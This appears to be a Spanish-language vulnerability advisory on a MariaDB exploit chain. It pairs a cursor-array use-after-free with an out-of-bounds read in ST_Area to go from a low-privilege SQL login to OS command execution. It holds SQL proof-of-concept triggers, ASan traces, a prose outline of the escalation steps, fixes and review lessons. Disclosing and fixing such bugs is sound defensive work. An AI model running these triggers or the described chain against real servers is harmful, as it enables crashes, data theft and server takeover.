Resumen
Un usuario autenticado de MariaDB que solo tenga permisos corrientes sobre una única base de datos (SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,CREATE TEMPORARY TABLES,EXECUTE, sin FILE, SUPER, administración ni CREATE ROUTINE) consigue ejecutar comandos arbitrarios del sistema operativo con los permisos del proceso mariadbd, todo desde una sola sesión SQL por el puerto TCP normal.
El ataque encadena dos fallos de seguridad de memoria independientes:
- Fallo 1: un use-after-free en el array de cursores
SYS_REFCURSOR. El array que respalda los cursores se reubica en memoria al crecer, pero un cursor abierto conserva un puntero crudo al buffer antiguo ya liberado; unFETCHposterior lo desreferencia y acaba en una llamada virtual, lo que entrega el control del puntero de instrucción. - Fallo 2: una lectura fuera de los límites del heap en
Gis_multi_polygon::area(la funciónST_Area). UnMULTIPOLYGONmanipulado hace que el motor lea más allá del buffer de la geometría y mezcle esos bytes en elDOUBLEque devuelve, convirtiéndose en un oráculo de divulgación de memoria dentro del proceso.
Por separado, el fallo 2 filtra direcciones del heap y de la base de código para derrotar ASLR/PIE, y el fallo 1 usa esas direcciones para escribir un indicador de privilegios y ejecutar código. Corregir cualquiera de los dos rompe la cadena. Ambos se confirmaron bajo AddressSanitizer en la rama 13.0 (versión 13.0.2) y el ataque completo se demostró de principio a fin sobre la imagen Docker publicada mariadb:13.0.1-rc.
Pasos de reproducción
Fallo 1 — use-after-free en el array de cursores
thd->statement_cursors es un Dynamic_array<sp_cursor_array_element> que guarda cada sp_cursor en línea dentro del buffer. Cuando el array crece, my_realloc mueve el buffer, pero el Materialized_cursor de un cursor abierto conserva un puntero select_result *result que apunta al buffer antiguo, ya liberado.
El array arranca con capacidad 0 y crece de 16 en 16 (0, 16, 32, 48). La trigésimo tercera apertura (OPEN) hace crecer la capacidad de 32 a 48 y libera el buffer de 32 ranuras; los cursores abiertos mientras ese buffer estaba vivo siguen apuntando a él. El back-pointer del cursor nunca se vuelve a asignar:
class Server_side_cursor: protected Query_arena
{
protected:
select_result *result; // sql_cursor.h:43 apunta al Select_fetch_into_spvars incrustado en el elemento del array
El FETCH desreferencia el puntero colgante:
void Materialized_cursor::fetch(ulong num_rows) // sql_cursor.cc:289
{
...
result->begin_dataset(); // :294 lectura a través del result colgante
for (...)
{
...
if (result->send_data(item_list) > 0) // :304 despacho virtual a través de la vtable liberada
return;
}
begin_dataset() es una función no virtual vacía, así que la lectura de 8 bytes que señala ASan es en realidad la carga del puntero a la vtable del objeto para la llamada virtual send_data(). Una vez que el buffer liberado se rellena con bytes del atacante, ese despacho pasa por una vtable controlada.
El disparador es un único bloque anónimo, sin rutina almacenada:
BEGIN NOT ATOMIC
DECLARE c0 SYS_REFCURSOR; -- ... hasta c32 ...
DECLARE c32 SYS_REFCURSOR;
DECLARE a INT;
SET @@max_open_cursors = 200;
OPEN c0 FOR SELECT 1; -- ... se abren los 33; el 33.º libera el buffer de 32 ranuras ...
OPEN c32 FOR SELECT 1;
FETCH c16 INTO a; -- desreferencia el result colgante
END
Traza de AddressSanitizer (banner 13.0.2-MariaDB-asan):
==2875457==ERROR: AddressSanitizer: heap-use-after-free on address 0x5200000207c0 ...
READ of size 8 at 0x5200000207c0 thread T15
#0 Materialized_cursor::fetch(unsigned long) sql/sql_cursor.cc:294
#1 sp_cursor::fetch(THD*, Virtual_tmp_table*, List<sp_fetch_target>*, bool) sql/sp_rcontext.cc:908
#2 sp_instr_cfetch_by_ref::execute(THD*, unsigned int*) sql/sp_instr.cc:2803
...
freed by thread T15 here:
#1 my_realloc mysys/my_malloc.c:156
#2 alloc_dynamic mysys/array.c:188
#5 sp_cursor_array::append(THD*) sql/sp_cursor.cc:60
#6 sp_cursor_array::get_cursor_by_ref(THD*, Field*, bool) sql/sp_cursor.cc:96
Fallo 2 — lectura fuera de límites en ST_Area
Gis_multi_polygon::area() recorre el número de subpolígonos declarado en la geometría, avanzando el cursor de lectura WKB_HEADER_SIZE bytes en cada vuelta sin comprobar los límites antes de avanzar. Si el número declarado supera a los polígonos realmente presentes, el cursor se pasa de m_data_end y la longitud que se le pasa al hijo, (uint32)(m_data_end - data), es una diferencia negativa que se trunca a un uint32 de unos 4 GiB, desactivando las comprobaciones de límites del hijo:
int Gis_multi_polygon::area(double *ar, const char **end_of_data) const // spatial.cc:4073
{
...
if (no_data(data, 4)) return 1; // :4079 solo protege la palabra del contador
n_polygons = uint4korr(data); // :4081 contador declarado por el atacante
data += 4;
while (n_polygons--)
{
Gis_polygon p;
data += WKB_HEADER_SIZE; // :4089 avance sin comprobar límites
p.set_data_ptr(data, (uint32)(m_data_end - data)); // :4090 diferencia negativa -> ~4 GiB
if (p.area(&p_area, &data)) return 1; // :4091 el hijo lee fuera de límites
...
}
}
La función hermana geometry_n() de la misma clase sí comprueba antes de avanzar (if (no_data(data, WKB_HEADER_SIZE + 4)) return 1;); area() omite esa guarda. Se alcanza desde ST_Area a través de Item_func_area::val_real.
El disparador es un MULTIPOLYGON que declara 2 polígonos pero aporta solo 1:
SELECT ST_Area(0x0000000001060000000200000001030000000100000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
El primer polígono se consume justo hasta m_data_end; la segunda vuelta avanza más allá y el hijo lee fuera de límites. Bajo ASan el servidor aborta; en una compilación de producción, los bytes fuera de límites se devuelven dentro del DOUBLE (fuga de información) o, si la lectura cae en una página no mapeada, el servidor se cae.
Traza de AddressSanitizer:
==2876597==ERROR: AddressSanitizer: use-after-poison on address 0x52d00019aca7 ...
READ of size 4 at 0x52d00019aca7 thread T14
#0 uint4korr include/my_byteorder.h:121
#1 Gis_polygon::area(double*, char const**) const sql/spatial.cc:2335
#2 Gis_multi_polygon::area(double*, char const**) const sql/spatial.cc:4091
#3 Item_func_area::val_real() sql/item_geofunc.cc:2499
...
La cadena completa
El fallo 1 da control del puntero de instrucción pero necesita direcciones concretas; el fallo 2 las aporta. Todos los pasos son SQL corriente desde una misma sesión con pocos privilegios:
- Fuga (fallo 2):
ST_Areadobla qwords del heap fuera de límites dentro de su resultadoDOUBLE, que se recupera con exactitud mediante un multiplicador controlado. Al leer de vuelta un puntero a vtable vivo se obtienen la base del heap y la base PIE demariadbd. Es el único canal dentro del proceso, con pocos privilegios, que devuelve un puntero crudo al cliente, imprescindible frente a ASLR + PIE + Full RELRO. - Reaprovechamiento (fallo 1): las 33 aperturas liberan el buffer de 32 ranuras y una asignación de variable de sesión lo rellena con una disposición manipulada, de modo que los cursores
c16..c31apuntan a bytes del atacante. - Escritura y cambio de privilegios: el despacho virtual de
FETCH c16ejecuta un gadget de escritura arbitraria que modifica elSecurity_context::master_accessde la sesión para añadir el privilegioFILE. - Ejecución de código: con
FILEen la sesión, el ataque escribe una UDF y la invoca; cuando elplugin_dirno es escribible, en su lugar encadena una llamada aexeclpque lanza/bin/sh.
El resultado demostrado: la salida de id escrita en disco por el proceso mariadbd.
Impacto
Un usuario autenticado con solo permisos básicos sobre una base de datos ejecuta comandos arbitrarios del sistema operativo como el proceso mariadbd en una única sesión TCP. Esto equivale al compromiso total del servidor: lectura y modificación de todos los datos de todas las bases, exfiltración de credenciales, instalación de puertas traseras y pivote hacia otros sistemas de la red. El investigador puntuó la cadena completa como crítica (CVSS 3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5). El ataque es fiable frente a la última versión con todas las mitigaciones modernas activas (ASLR, PIE, RELRO) y no requiere FILE, SUPER ni privilegios de administración.
Remediación
- Fallo 1: guardar los elementos del array de cursores por puntero, de modo que su dirección sea estable al crecer el array (y por tanto no se mueva el
Select_fetch_into_spvarsal que apuntaresult), o bien volver a asignar el punteroresultde cada cursor abierto tras cada reubicación del array. - Fallo 2: añadir la comprobación de límites antes de avanzar el cursor, igual que ya hace
geometry_n():
while (n_polygons--)
{
Gis_polygon p;
if (no_data(data, WKB_HEADER_SIZE)) return 1; // añadir esto
data += WKB_HEADER_SIZE;
p.set_data_ptr(data, (uint32)(m_data_end - data));
...
}
Aplicar la misma guarda a las demás funciones agregadoras que avanzan WKB_HEADER_SIZE sin comprobación (por ejemplo Gis_multi_line_string::geom_length), y hacer que set_data_ptr rechace un cursor con data > m_data_end en lugar de truncar la diferencia negativa.
Qué aprender de este caso
- Cuando una estructura reubicable (un
Dynamic_array, unstd::vector, cualquier buffer que hagareallocal crecer) guarda objetos en línea y algo externo conserva un puntero a uno de esos objetos, cada crecimiento deja ese puntero colgando. Al revisar código, busca punteros crudos hacia el interior de contenedores que puedan reasignar su almacenamiento, y cuida especialmente la ruta de "crecer de 32 a 48" porque solo se dispara al superar un umbral de capacidad. - Los bucles que recorren un contador leído del propio dato de entrada (aquí
n_polygons) tienen que comprobar los límites antes de cada avance del cursor, no solo al leer el contador. Compara funciones hermanas de un mismo módulo: aquígeometry_n()comprobaba yarea()no, una discrepancia que delata el fallo. - Restar dos punteros y guardar el resultado en un tipo sin signo (
(uint32)(m_data_end - data)) convierte un desbordamiento por detrás en una longitud gigantesca que anula toda validación posterior. Trata cualquierend - cursorasignado a unuintcomo sospechoso y verifica quecursor <= endantes de la resta. - Una lectura fuera de límites que devuelve bytes al cliente (aquí dentro de un
DOUBLE) no es "solo" una fuga: sirve de oráculo para derrotar ASLR/PIE y así armar un segundo fallo de escritura. Al triar vulnerabilidades, no bajes la gravedad de una fuga de memoria del proceso por el hecho de que "solo lea".